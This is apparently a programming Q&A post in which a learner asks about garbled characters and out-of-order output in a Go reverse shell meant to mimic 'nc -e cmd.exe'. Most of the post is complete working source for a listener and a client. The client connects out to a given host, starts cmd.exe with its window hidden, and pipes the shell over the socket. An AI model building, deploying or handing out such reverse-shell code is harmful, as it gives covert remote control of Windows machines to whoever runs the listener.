Golang creating simple reverse shell, synchronization and encoding problem - sockets

Question

I'm learning basics of golang and thought about creating simple reverse shell, something to mimic for example nc <ip> <port> -e cmd.exe. It is working somewhat but I want it to work better for example there is little encoding problem
This is output from my program some spaces and special characters like ążłć and so on and forth, and as you can see there is one line Directory of D:\Projects\gorevshell that should be third from top but is in the middle.
D:\Projects\gorevshell>dir
dir
Volume in drive D is DATA
Volume Serial Number is FA46-C237
02.05.2021 13:57 <DIR> .
02.05.2021 13:57 <DIR> ..
02.05.2021 09:56 289 .gitignore
01.05.2021 21:56 <DIR> .vscode
02.05.2021 13:18 3�089�920 client.exe
Directory of D:\Projects\gorevshell
02.05.2021 13:18 1�090 client.go
02.05.2021 13:57 2�877�440 main.exe
02.05.2021 13:56 883 main.go
02.05.2021 10:14 884 main.go.old
01.05.2021 21:25 12 README.md
3 Dir(s) 61�482�332�160 bytes free
7 File(s) 5�970�518 bytes
Or when executing powershell there is one trailing new line character
D:\Projects\gorevshell>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS D:\Projects\gorevshell> ls
ls
Directory: D:\Projects\gorevshell
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 01.05.2021 21:56 .vscode
-a---- 02.05.2021 09:56 289 .gitignore
-a---- 02.05.2021 13:18 3089920 client.exe
-a---- 02.05.2021 13:18 1090 client.go
-a---- 02.05.2021 13:57 2877440 main.exe
-a---- 02.05.2021 13:56 883 main.go
-a---- 02.05.2021 10:14 884 main.go.old
-a---- 01.05.2021 21:25 12 README.md
PS D:\Projects\gorevshell>
I think this line out of sync could be caused by the two gorutines that copy from pipe to stdout. But for the encoding problem I have no idea. The out of sync lines are quite random, but encoding errors are constant. How do I get rid of encoding problems and sync all the data? And all other tips are welcome. Thanks.
Server source code
package main
import (
"bufio"
"flag"
"fmt"
"io"
"log"
"net"
"os"
)
func main() {
//Flags
portPtr := flag.Int("p", 2137, "Listening port")
listenPtr := flag.Bool("l", false, "Server mode")
flag.Parse()
log.Printf("portPtr %d, listenPtr %t", *portPtr, *listenPtr)
//Start listenign on all on portPtr
conn, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", *portPtr))
if err != nil {
log.Fatal("Cannot bind to port")
}
//Accept incoming connection
listener, err := conn.Accept()
if err != nil {
log.Fatal("Cannot accept connection")
}
//Print connections address and port
log.Printf("Connection from: %s", listener.RemoteAddr().String())
shellPipeReader, shellPipeWriter := io.Pipe()
for {
//Copy data from listener(client, shell provider) to stdout gorutine to don't block code execution
go io.Copy(shellPipeWriter, listener)
go io.Copy(os.Stdout, shellPipeReader)
//get user input aka commands to execute
reader := bufio.NewReader(os.Stdin)
text, err := reader.ReadString('\n')
if err != nil {
log.Fatal("Cannot send message")
}
//send commands to listener(client, shell provider)
listener.Write([]byte(text))
}
}
Client source code
package main
import (
"flag"
"fmt"
"io"
"log"
"net"
"os/exec"
"syscall"
)
//function returns pointer to exec.Cmd object that is cmd shell
func Shell() *exec.Cmd {
cmd := exec.Command("C:\\Windows\\System32\\cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
return cmd
}
func main() {
//parse arguments
flag.Parse()
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%s", flag.Arg(0), flag.Arg(1)))
if err != nil {
log.Fatal("Cannot connect to the server")
}
//calling shell
shellCmd := Shell()
//creating pipes not mess up with buffering too much
shellPipeReader, shellPipeWriter := io.Pipe()
//standard in is binded to connection
shellCmd.Stdin = conn
//standard err and standard out are binded to writer pipe
shellCmd.Stdout = shellPipeWriter
shellCmd.Stderr = shellPipeWriter
//sending the output from shellPipeReader to connection, using gorutine to not block code execution
go io.Copy(conn, shellPipeReader)
//run the command
shellCmd.Run()
//Close connection after shell is dead
conn.Close()
}